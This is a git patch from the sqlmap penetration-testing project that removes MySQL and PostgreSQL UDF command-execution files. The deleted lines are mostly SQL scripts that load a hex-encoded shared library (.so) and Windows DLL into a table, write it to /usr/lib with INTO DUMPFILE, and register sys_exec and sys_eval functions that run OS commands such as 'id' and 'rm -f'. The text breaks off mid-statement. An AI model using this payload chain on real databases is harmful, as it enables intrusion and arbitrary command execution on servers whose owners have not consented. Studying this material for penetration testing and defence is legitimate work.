From 2915b5d7e9717c4a32c62566d4fb8113a0b3b0be Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Wed, 13 Jan 2010 23:18:17 +0000 Subject: [PATCH] Partial cleanup of UDF source code path --- extra/mysqludfsys/command_execution/linux.sql | 120 ---- .../mysqludfsys/command_execution/windows.sql | 128 ---- .../doc/lib_mysqludf_sys.html | 0 .../windows/dll/lib_mysqludf_sys.dll | Bin 6656 -> 0 bytes .../windows/lib_mysqludf_sys.sql | 35 -- .../windows/src/lib_mysqludf_sys.c | 551 ------------------ .../mysqludfsys/lib_mysqludf_sys_0.0.3.patch | 354 ----------- .../mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz | Bin 12695 -> 0 bytes .../{lib_mysqludf_sys => }/linux/Makefile | 0 .../{lib_mysqludf_sys => }/linux/install.sh | 0 .../linux/lib_mysqludf_sys.sql | 0 .../linux/so/lib_mysqludf_sys.so | Bin .../linux/src/lib_mysqludf_sys.c | 0 .../command_execution/linux.sql | 97 --- .../command_execution/windows.sql | 104 ---- .../windows/dll/8.2/lib_postgresqludf_sys.dll | Bin 6144 -> 0 bytes .../windows/dll/8.3/lib_postgresqludf_sys.dll | Bin 6144 -> 0 bytes .../windows/lib_postgresqludf_sys.sql | 24 - .../windows/src/8.2/lib_postgresqludf_sys.c | 192 ------ .../windows/src/8.3/lib_postgresqludf_sys.c | 192 ------ .../lib_postgresqludf_sys_0.0.1.tar.gz | Bin 11430 -> 0 bytes .../linux/Makefile | 0 .../linux/install.sh | 0 .../linux/lib_postgresqludf_sys.sql | 0 .../linux/so/8.2/lib_postgresqludf_sys.so | Bin .../linux/so/8.3/lib_postgresqludf_sys.so | Bin .../linux/src/8.2/lib_postgresqludf_sys.c | 0 .../linux/src/8.3/lib_postgresqludf_sys.c | 0 28 files changed, 1797 deletions(-) delete mode 100644 extra/mysqludfsys/command_execution/linux.sql delete mode 100644 extra/mysqludfsys/command_execution/windows.sql rename extra/mysqludfsys/{lib_mysqludf_sys => }/doc/lib_mysqludf_sys.html (100%) delete mode 100755 extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll delete mode 100644 extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql delete mode 100644 extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c delete mode 100644 extra/mysqludfsys/lib_mysqludf_sys_0.0.3.patch delete mode 100644 extra/mysqludfsys/lib_mysqludf_sys_0.0.3.tar.gz rename extra/mysqludfsys/{lib_mysqludf_sys => }/linux/Makefile (100%) rename extra/mysqludfsys/{lib_mysqludf_sys => }/linux/install.sh (100%) rename extra/mysqludfsys/{lib_mysqludf_sys => }/linux/lib_mysqludf_sys.sql (100%) rename extra/mysqludfsys/{lib_mysqludf_sys => }/linux/so/lib_mysqludf_sys.so (100%) rename extra/mysqludfsys/{lib_mysqludf_sys => }/linux/src/lib_mysqludf_sys.c (100%) delete mode 100644 extra/postgresqludfsys/command_execution/linux.sql delete mode 100644 extra/postgresqludfsys/command_execution/windows.sql delete mode 100755 extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.2/lib_postgresqludf_sys.dll delete mode 100755 extra/postgresqludfsys/lib_postgresqludf_sys/windows/dll/8.3/lib_postgresqludf_sys.dll delete mode 100644 extra/postgresqludfsys/lib_postgresqludf_sys/windows/lib_postgresqludf_sys.sql delete mode 100755 extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.2/lib_postgresqludf_sys.c delete mode 100644 extra/postgresqludfsys/lib_postgresqludf_sys/windows/src/8.3/lib_postgresqludf_sys.c delete mode 100644 extra/postgresqludfsys/lib_postgresqludf_sys_0.0.1.tar.gz rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/Makefile (100%) rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/install.sh (100%) rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/lib_postgresqludf_sys.sql (100%) rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/so/8.2/lib_postgresqludf_sys.so (100%) rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/so/8.3/lib_postgresqludf_sys.so (100%) rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/src/8.2/lib_postgresqludf_sys.c (100%) rename extra/postgresqludfsys/{lib_postgresqludf_sys => }/linux/src/8.3/lib_postgresqludf_sys.c (100%) diff --git a/extra/mysqludfsys/command_execution/linux.sql b/extra/mysqludfsys/command_execution/linux.sql deleted file mode 100644 index 593c0706d..000000000 --- a/extra/mysqludfsys/command_execution/linux.sql +++ /dev/null @@ -1,120 +0,0 @@ --- Notes: --- --- The SO compiled using MySQL 5.0.67 C libraries works also on MySQL --- 5.1.30 and MySQL 4.1.22 (TODO: confirm) --- --- SO compiled using MySQL 5.1.30 C libraries --- lib_mysqludf_sys.so: 12896 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, not stripped) --- lib_mysqludf_sys.so: 5476 bytes (ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, stripped) --- --- Little hack to compress the shared object: --- * Compile with -O1 the shared object --- * Use strip to remove all symbols (-s) and non-global symbols (-x) - - --- Create a table with one field data-type text -DROP TABLE IF EXISTS udftest; -CREATE TABLE udftest(data blob); - - --- Insert the hexadecimal encoded UDF in the table --- --- SO compiled using MySQL 5.1.30 C libraries -INSERT INTO udftest(data) VALUE (0x7f454c46010101000000000000000000030003000100000010080000340000007c1100000000000034002000050028001900180001000000000000000000000000000000bc0e0000bc0e0000050000000010000001000000040f0000041f0000041f00000801000010010000060000000010000002000000180f0000181f0000181f0000d0000000d0000000060000000400000051e574640000000000000000000000000000000000000000060000000400000052e57464040f0000041f0000041f0000fc000000fc00000004000000010000001100000024000000000000000d00000000000000030000001a00000000000000070000001b0000000a000000140000000f000000150000000c0000000e0000001e000000060000001c000000000000000000000000000000010000000000000000000000020000000400000000000000230000002200000000000000130000001d000000170000000b000000000000000000000005000000090000002100000011000000000000001800000020000000080000001f0000000000000010000000000000001900000000000000160000000000000012000000000000001100000010000000040000000700000001080440801946c99ca40803900460831000000012000000130000001500000016000000180000001b0000001d0000000000); -UPDATE udftest SET data=CONCAT(data,0x00001e000000000000001f0000002000000021000000220000002300000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed971581ca868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff3b9fd4a0ad73d1c50b5911feab5fbe12000000000000000000000000000000009500000000000000000000001200000001000000000000000000000020000000250000000000000000000000200000009b0000000000000000000000120000007201000000000000000000001200000039010000000000000000000012000000a3000000000000000000000012000000ab00000000000000000000001200000065010000000000000000000012000000480100000000000000000000120000008e000000000000000000000012000000b8000000000000000000000012000000160000000000000000000000220000004f010000000000000000000012000000b1000000000000000000000012000000400100006a0d00008b00000012000b0075000000db0800000500000012000b0010000000980e00000000000012000c00ff0000008d0c00004b00000012000b00df000000ac07000000000000120009008a0100000c200000000000001000f1ff300100004d0d00001d00000012000b009601000014200000000000001000f1ff); -UPDATE udftest SET data=CONCAT(data,0x56000000d10800000500000012000b00c90000001f0a00007300000012000b006a0100000f0e00004500000012000b0039000000cc0800000500000012000b00f2000000140c00007900000012000b00830100000c200000000000001000f1ff65000000d60800000500000012000b00e5000000050b00000f01000012000b00d7000000920a00007300000012000b0015010000d80c00007500000012000b0056010000f50d00001a00000012000b0085000000e00800003f01000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f63007374726e6370790066676574730070636c6f7365005f5f737461636b5f63686b5f6661696c007379735f6576616c5f696e6974007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379); -UPDATE udftest SET data=CONCAT(data,0x735f657865630073797374656d007379735f736574006d656d63707900736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3400474c4942435f322e3000474c4942435f322e310000000002000000000003000300030003000300030003000300040005000300020001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000400790100001000000000000000731f6909000005009b010000100000001469690d00000400a7010000100000001069690d00000300b1010000100000001169690d00000200bb010000000000001e09000008000000082000000800000014090000020b0000c50b0000020b00002b090000020100006a090000020400008b09000002070000b109000002080000c3090000020f0000100a0000020c00005f0d0000020600009c0d0000020a0000c10d0000020a0000df0d0000020e0000090e000002090000220e000002050000e81f000006020000ec1f000006030000f01f0000060d0000002000000702000004200000070d00005589e55383ec04e8000000005b81c33c1800008b93f4ffffff85d274); -UPDATE udftest SET data=CONCAT(data,0x05e81e000000e8bd000000e888060000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff000000005589e55653e8ad00000081c3da17000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8b8ffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c35b17000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35589e557565381ec2c0400008b5d0c8b45148985d8fbffff8b55188995d4fbffff65a1140000008945f031c0c7042401000000e8fcffffff89c6c7442404b40e00008b43088b00890424e8fcffffff8985dcfbffffc785e0fbffff00000000eb548dbdf0fbffffb800000000b9fffffffff2ae89c8f7d08d78ff8b9de0fbffff01fb895c2404893424e8fcffffff89c6897c24088d95f0fbffff895424048b95e0fbffff8d0410890424e8fcffffff899de0fbffff8b85dcfbffff89442408c7442404000400008d95f0fbffff891424e8fcffffff85c075888b); -UPDATE udftest SET data=CONCAT(data,0x85dcfbffff890424e8fcffffff803e00740485f6750b8b95d4fbffffc60201eb268b85e0fbffffc64406ff0089f7b800000000b9fffffffff2aef7d183e9018b95d8fbffff890a89f08b55f0653315140000007405e8fcffffff81c42c0400005b5e5f5dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e58b450c8b5510833801750d8b4004b9000000008338007454c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b90100000089c85dc35589e55383ec048b550c8b5d10833a027444c70345787065c7430463746564c7430820657861c7430c63746c79c743102074776fc7431420617267c74318756d656e66c7431c7473c6431e00ba01000000e9b10000008b4204833800744cc70345787065c7430463746564c7430820737472c7430c696e6720c7431074797065c7431420666f72c74318206e616dc7431c65207061c7432072616d65c7432474657200ba010000); -UPDATE udftest SET data=CONCAT(data,0x00eb5dc74004000000008b520c8b0283c002034204890424e8fcffffff8b550889420cba0000000085c07534c703436f756cc7430464206e6fc743087420616cc7430c6c6f6361c743107465206dc74314656d6f7266c743187900ba0100000089d083c4045b5dc35589e58b450c8b551083380175158b4004833800750d8b4508c60001b800000000eb54c70245787065c7420463746564c7420820657861c7420c63746c79c74210206f6e65c7421420737472c74218696e6720c7421c74797065c7422020706172c74224616d657466c742286572c6422a00b8010000005dc35589e58b4510c7006c69625fc740046d797371c740086c756466c7400c5f737973c7401020766572c7401473696f6ec7401820302e3066c7401c2e33c6401e008b5514c7021e0000005dc35589e58b5510b9000000008b450c833800745ec7024e6f2061c742047267756dc74208656e7473c7420c20616c6cc742106f776564c7421420287564c74218663a206cc7421c69625f6dc742207973716cc742247564665fc742287379735fc7422c696e666f66c742302900b90100000089c85dc35589e583ec088b450c8b40088b00890424e8fcffffff89c2c1fa1fc9c35589e583ec18895df48975f8897dfc8b5d0c8b45088b700c8b430c8b108d7c16018b43088b008954240889442404893424e8fcff); -UPDATE udftest SET data=CONCAT(data,0xffff8b430c8b00c60406008b530c8b43088b48048b420489442408894c2404893c24e8fcffffff8b430c8b4004c6040700c744240801000000897c2404893424e8fcffffff89c2c1fa1f8b5df48b75f88b7dfc89ec5dc35589e583ec088b45088b400c85c07408890424e8fcffffffc9c35589e55783ec048b450c8b40088b00890424e8fcffffff89c285c075088b4518c60001eb1889c7b800000000b9fffffffff2aef7d183e9018b4514890889d083c4045f5dc39090909090909090909090905589e55653e85dfaffff81c38a1100008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c350110000e860f9ffff595bc9c37200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000790100000c000000ac0700000d000000980e000004000000d4000000f5feff6fb001000005000000a404000006000000640200000a000000c50100000b0000001000000003000000f41f000002000000100000001400000011000000170000009c07000011000000040700001200000098000000); -UPDATE udftest SET data=CONCAT(data,0x13000000080000001600000000000000feffff6fb4060000ffffff6f01000000f0ffff6f6a060000faffff6f0200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000181f00000000000000000000f20700000208000008200000004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200004743433a20285562756e747520342e332e322d317562756e747531322920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e74000000000000000000); -UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000d4000000d4000000dc000000030000000000000004000000040000000b000000f6ffff6f02000000b0010000b0010000b400000003000000000000000400000004000000150000000b00000002000000640200006402000040020000040000000100000004000000100000001d0000000300000002000000a4040000a4040000c50100000000000000000000010000000000000025000000ffffff6f020000006a0600006a060000480000000300000000000000020000000200000032000000feffff6f02000000b4060000b40600005000000004000000010000000400000000000000410000000900000002000000040700000407000098000000030000000000000004000000080000004a00000009000000020000009c0700009c07000010000000030000000a0000000400000008000000530000000100000006000000ac070000ac07000030000000000000000000000004000000000000004e0000000100000006000000dc070000dc0700003000000000000000000000000400000004000000590000000100000006000000100800001008000088060000000000000000000010000000000000005f0000000100000006000000980e0000980e00001c000000); -UPDATE udftest SET data=CONCAT(data,0x00000000000000000400000000000000650000000100000032000000b40e0000b40e000002000000000000000000000001000000010000006d0000000100000002000000b80e0000b80e00000400000000000000000000000400000000000000770000000100000003000000041f0000040f000008000000000000000000000004000000000000007e00000001000000030000000c1f00000c0f00000800000000000000000000000400000000000000850000000100000003000000141f0000140f000004000000000000000000000004000000000000008a0000000600000003000000181f0000180f0000d000000004000000000000000400000008000000930000000100000003000000e81f0000e80f00000c00000000000000000000000400000004000000980000000100000003000000f41f0000f40f00001400000000000000000000000400000004000000a1000000010000000300000008200000081000000400000000000000000000000400000000000000a700000008000000030000000c2000000c1000000800000000000000000000000400000000000000ac0000000100000000000000000000000c100000b90000000000000000000000010000000000000001000000030000000000000000000000c5100000b500000000000000000000000100000000000000); - - --- Export the hexadecimal encoded UDF to a binary file on the file system --- --- On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0: --- --- From MySQL 5.1 and 6.0 official documentation: --- --- shared_library_name is the basename of the shared object file --- that contains the code that implements the function. The file --- must be located in the plugin directory. This directory is given --- by the value of the plugin_dir system variable. --- --- Note that /TODO/plugin DOES NOT --- exist by default so it is NOT possible to save the SO in the proper --- folder where MySQL server looks for SOs. --- SHOW VARIABLES WHERE variable_name='plugin_dir'; --- --- References: --- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html --- http://dev.mysql.com/doc/refman/6.0/en/create-function-udf.html --- --- The SO can be only in /TODO --- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 5.1 >= 5.1.19 --- SELECT data FROM udftest INTO DUMPFILE '/TODO/lib_mysqludf_sys.so'; -- On MySQL 6.0 --- --- On MySQL 4.1 < 4.1.25, MySQL 5.0 < 5.0.67 and MySQL 5.1 < 5.1.19: --- --- From MySQL 4.1 and 5.0 official documentation: --- --- shared_library_name is the basename of the shared object file --- that contains the code that implements the function. As of MySQL --- M.m.m, the file must be located in the plugin directory. This --- directory is given by the value of the plugin_dir system variable. --- If the value of plugin_dir is empty, the behavior that is used --- before M.m.m applies: The file must be located in a directory --- that is searched by your system's dynamic linker. --- --- References: --- http://dev.mysql.com/doc/refman/4.1/en/create-function-udf.html --- http://dev.mysql.com/doc/refman/5.0/en/create-function-udf.html --- --- The SO can be in either /lib, /usr/lib or one of the paths specified in --- /etc/ld.so.conf file, none of these paths are writable by mysql user by --- default (tested on MySQL 5.0.67 with NO plugin_dir set in my.cnf --- configuration file, which is the default setting) --- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file -SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file --- SELECT data FROM udftest INTO DUMPFILE '/usr/lib/lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql. On MySQL 5.1 < 5.1.19 with NO plugin_dir set in my.ini configuration file --- --- Notes: --- If the library file already exists, the user mysql does not have access --- to overwrite it --- The following enumerates the MySQL data directory --- SELECT @@datadir --- The followings will save into /var/lib/mysql/. It is not a valid PATH --- where MySQL looks for SO --- SELECT data FROM udftest INTO DUMPFILE './lib_mysqludf_sys.so'; --- The following will save into /var/lib/mysql/mysql where 'mysql' is the --- database name where it is connected. It is not a valid PATH where MySQL --- looks for SO --- SELECT data FROM udftest INTO DUMPFILE 'lib_mysqludf_sys.so'; -- -rw-rw-rw- 1 mysql mysql --- The following would save into / (Permission denied) --- SELECT data FROM udftest INTO DUMPFILE '/lib_mysqludf_sys.so'; - - --- Create two functions from the binary UDF file --- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0 --- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0 -DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0 -DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0 -CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; -CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; - - --- Test the two functions -SELECT sys_exec('echo test > /tmp/lib_mysqludf_sys.txt'); -- -rw-rw---- 1 mysql mysql -SELECT sys_eval('cat /tmp/lib_mysqludf_sys.txt ; id'); - - --- Cleanup the file system and the database -SELECT sys_exec('rm -f /tmp/lib_mysqludf_sys.*'); -DROP TABLE IF EXISTS udftest; --- DROP FUNCTION sys_exec; -- without 'IF EXISTS ' on MySQL < 5.0 --- DROP FUNCTION sys_eval; -- without 'IF EXISTS ' on MySQL < 5.0 -DROP FUNCTION IF EXISTS sys_exec; -- On MySQL >= 5.0 -DROP FUNCTION IF EXISTS sys_eval; -- On MySQL >= 5.0 diff --git a/extra/mysqludfsys/command_execution/windows.sql b/extra/mysqludfsys/command_execution/windows.sql deleted file mode 100644 index 46fae0048..000000000 --- a/extra/mysqludfsys/command_execution/windows.sql +++ /dev/null @@ -1,128 +0,0 @@ --- Notes: --- --- The DLL compiled using MySQL 5.1.30 C libraries works also on MySQL --- 5.0.67 and MySQL 4.1.22 --- --- DLL compiled using MySQL 5.1.30 C libraries --- lib_mysqludf_sys.dll: 9216 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit) --- lib_mysqludf_sys.dll: 6656 bytes (MS-DOS executable PE for MS Windows (DLL) (GUI) Intel 80386 32-bit, UPX compressed) --- --- Little hack to compress the dynamic-linked library: --- * Read instructions on http://rpbouman.blogspot.com/2007/09/creating-mysql-udfs-with-microsoft.html --- * Remember to compile it under Visual C++ 2008 with the --- 'Configuration' set as 'Release' --- * Use upx (http://upx.sourceforge.net) over the DLL: --- * upx -9 library.dll -o library_upx.dll - - --- Create a table with one field data-type text -DROP TABLE IF EXISTS udftest; -CREATE TABLE udftest(data blob); - - --- Insert the hexadecimal encoded UDF in the table --- --- DLL compiled using MySQL 5.1.30 C libraries -INSERT INTO udftest(data) VALUE (0x4d5a90000300000004000000ffff0000b800000000000000400000000000000000000000000000000000000000000000000000000000000000000000f00000000e1fba0e00b409cd21b8014ccd21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000ad137127e9721f74e9721f74e9721f74e00a8c74eb721f74e00a8a74e8721f74e00a9c74e7721f74e00a9b74eb721f742a7d4274ea721f74e9721e74c0721f74e00a9674e8721f74e00a8d74e8721f74e00a8e74e8721f7452696368e9721f7400000000000000000000000000000000504500004c010300ce2e8e490000000000000000e00002210b010900001000000010000000600000507c0000007000000080000000000010001000000002000005000000000000000500000000000000009000000010000000000000020040010000100000100000000010000010000000000000100000007c830000b8010000b4820000c800000000800000b402000000000000000000000000000000000000348500001000000000000000000000000000000000000000000000000000000000000000000000001c7e00004800000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000600000001000000000000000040000); -UPDATE udftest SET data=CONCAT(data,0x000000000000000000000000800000e0555058310000000000100000007000000010000000040000000000000000000000000000400000e02e7273726300000000100000008000000006000000140000000000000000000000000000400000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332e303300555058210d090209285e83bd2629a7f017550000480c000000240000260000eb); -UPDATE udftest SET data=CONCAT(data,0xffcbffff8b442408833800741956578b7c2414b90c00be000010e8f3a566a56edd92ff5fb0015ec332c0c3cc2f0c2ab907fbeddbcf26111c8bf8288b4c24182ca45fc7011e16f7cf0eac5e2ecc5f0175128b4004676430f76e750a2c04c6010155710a1db2d8f3113ca4723f8b484df7efbe021152ff15968083c40485c075084514c365dffeff8bc8568d71018a114184d275f98b54142bce890a4019bb6dba7f4c39026b74186d07b0df4b06688b419974158db6ae9d9d88f3fdc7b61100230c5d37f6df85048b108d44110250899859108d893c19a16b1990173c0611b05b4a68935fe70f464085ed767732740a890aff254aa0c31f6fdb42fb53568b745b1d78734602088b46f6eddb2fd18d5c39010a525157e8300c108b5617d6de65fb02c60407974e5104219d1c76fb36c95342d2c4185357220300ad6cae843f005f5e995bc34f9099c309830c20af0b03a8c35dc242dc0081ec10305bd7f85ba102200033c489842c0d8b0620dcdc373f8c2424538b9c241c07556a01db2038360214893d515397f0fcc7de6dd76863cc5033ff14948bd8538d4c24287063edae3251895c421688debe712b6c435355904c8d5001084084c9cb63bf5d2bc22e8d2c3b55563b848bf054dde6842f528d043eb48c24511334db70d8634f528bfd4d20c4b38b5ebf6d4678105d53189c803eb3c67436c6443b04fbee3eff0063eb038d); -UPDATE udftest SET data=CONCAT(data,0x490068fc6c0d3f777b5f8901205e5bd8e633cc7e0375bceee17481c401c31418f4935f0f0fecad221bc602011e3b0d2275c60cfff602f3c3e90807318bff5668805fb778ffdd7e56c07c5959a3062358045485f67505dbb07be133c040748326004908ff270929098e36d6fde8c70424063b0b5923d2efddbffdff558bec51510a39450c750e39056b107e3cff7337deb51bb37d0cb50910488b096957897c6cdd770a23480f85d47d641718ec797677db6d5135202c893d50bb1e50eb184af0c1febba705f43bc7741768e803a8306a0057aedbdeb02ed63ae7eb07c72c013ca12feddeddf04c6a025e9d096a1f920aa6eb3caa10bcae7deffd04b4c7051f281aa0e027fdfbbeb3075cf120b004ac1b9a59893573a576e32b085939b2f26973dfeebdfb34393d155c741c68062809dc430dd8f65ae1ff751034252316fff1acb919be54ee01dc0801a1db76367b6378d665fc00dfdb0fd4ac3dc944fc83f80266d26dec1b1b595bffa0584b7031fb0e376daf45d70f8487c7195413a5bbb6401e8b141810897d563fb6f5edef043bc87251833f6cf36a74390774e92d3cdbdaff372620f8108907b9f8b8bd599b5615441b474df86bdf1adf900c394d1003d00874b4890902886db76d0c1a0860eba7f60c3d881163564d442e38200bdb5758064c32fc3f5079811d8e4390c9c2e96a1068cd7de37712d8d0d88bd2f28b5d08); -UPDATE udftest SET data=CONCAT(data,0x1c548597ddede433c95cfc897d2008fc3bf15abfdb5a8c393a4417e4f906ea3bf07405db16defd83fe02752ea152dc3bc1749e565fd03b7066e1865ee4000393113bd983fbf1d2141680120ab22735bb61ebfe642464205750135e436cb60e002f52d2061137ecafd153f76a0375434f34871df66c032168742e2c257febe3ad81851b71ec3409aae050516468854be5ac1065e8f62fb65ddb70fad2feff001907032ae4a4ae3dee070b1dc396ec16ff3bf07885d3246a1b5419de5da07d54550c0d05f8595d38b4a1dc8a22e928035f2120e6e6e6cd43051c891518891d14893569b6efe610893d0c668c1838060d2c666996661d0805042558fbee96002d7ffc9c8f14309556ed9f3fdb240704288d4508348b85e0fca05d3b1b63aa7095011c1920c6d8d6b12413180958c0091cb32c9fbb6b608985d8320a04dc57e01bc3031834687edf8f7d9af1ec596af75010e00a20833dd83bac7d2000f923685b1b7c4f9fc0244928c9c380401ef292223b2e5f6a144a13001531e9b190aaf8a29cc6e107bf7359eb676a08a904598fedd61d921b27355934e0f5f31d6e85bf03e4507f4b7c8cad6d5f506efe1cdc142cd6e2c4582a5b09e01b14f46393e525db08dfdc6c0bfe73130ab9d94e1e43f7d81bc0fa36edde0359485d1656b807c8be0457e946c75f503bc6730f8b0753025083c7b3f21c567afe72f13025d0d0f68dd8); -UPDATE udftest SET data=CONCAT(data,0x14cc632f08b84d5a287f57bac466b374045262413c03c18138501bfcfb974575ef33d2b90b011c48180f94b0c29a6209895d7f3fd748b65b81df31c80fb74114a20571063357c5c6d20de908180b76de7db5ffffdf8a0c3bf972098b580803d93bfb720a4283c0283bd672e86a1c0ed933d94e4f6afe9d17705c30d00635640cfc5083c3ad31ccec0823316033c56a7c86d277f064a31a892a46096877843e2c49f0d2094c7574559734cb645f2d1350198c083b41b8f05b2d24c1e81ff709e00183bbedd40a034f170059948be5ebd84e6a969701ca3da3c0fab216ec14972fbb3191b111bacc1e540540fcb8a491444ca312aa10dc9d5c87b1095f14c3a45cb4c7acfbef5400d75cb6d9968e6c038d2be0fafcc11a68cef13ca8fc8a039b0403710dc395707018679651481473e2e3ddcdd86903786851d70ab142efe19c56a30e68f885225b7cf892bf4ee640bb25eea0397866760d85c3255aa39f0a358e04eb60ca78116bed935d388b7598920bae0c32b640f007080c9dfed66e672710b4f4330c113bf77507be4fe0b768ef59eb0b85f30a95c1e0100bf0a1f4b147c200f7d607045e5f5bb43f1919191b5005585c60811d1919646ca4000004c84305038700feff50a1172f4e6f20617267756d656e7473ddffffdf096c6c6f77656420287564663a206c69625f6d7973716c0d5f3f32f7b773085f696e666f293918); -UPDATE udftest SET data=CONCAT(data,0x20766572777fdbfe73696f6e20302e01331f45787065637447657861eddb6f6f076c79201a65207374723f672074791b806d6d6b7572617121722bb065013b7477911f3f1f30f7968672206e4148436f756cdbb6636f246e6f74c463611320186d27a204766e79af660048b5ffffe66e201712c0015253445360a91de01b43b243bdf182720ea1bdf958d103c502633a5c4476476e6efb6edb8a539674b0735c41646d0769bed6fe7f6b938e2e57324b335354454e5550444106336d7bfbf665736b16705c7368c9655c762675be23a1b9ff5f6370705f70726f6af83e6ccb3e65ff5c52656c65617365182e706462c97c2716c8351bc707d0674d259b0ff50707069d92c3bad303e727cc08e3e84ed8810fd81f0a6b037f56a82090209e2b1210008d4516c1beb119bf44ff003400301855ff01162100e9b03c53505c100103c0bf00c7456e7669726f6edbbb2fdb7f5661726961626c6541184743757272145072ecf640fe6f636573734964546805616413d61a001f5469636ba1150dbd01d0fe51756572795003c36d616ef6de5aac37160e184469735937ffcbdf7e4c6962726a7943616c6c73497344656275676765db63ae9572685c96556e684064626f6f6f3164457846707469a146696c4adb52b6c219b4125417c9da0640a0611e11b65bdbbe49906c0c6b409d6d7087656bcd35e747517f77555122b6bb65091b); -UPDATE udftest SET 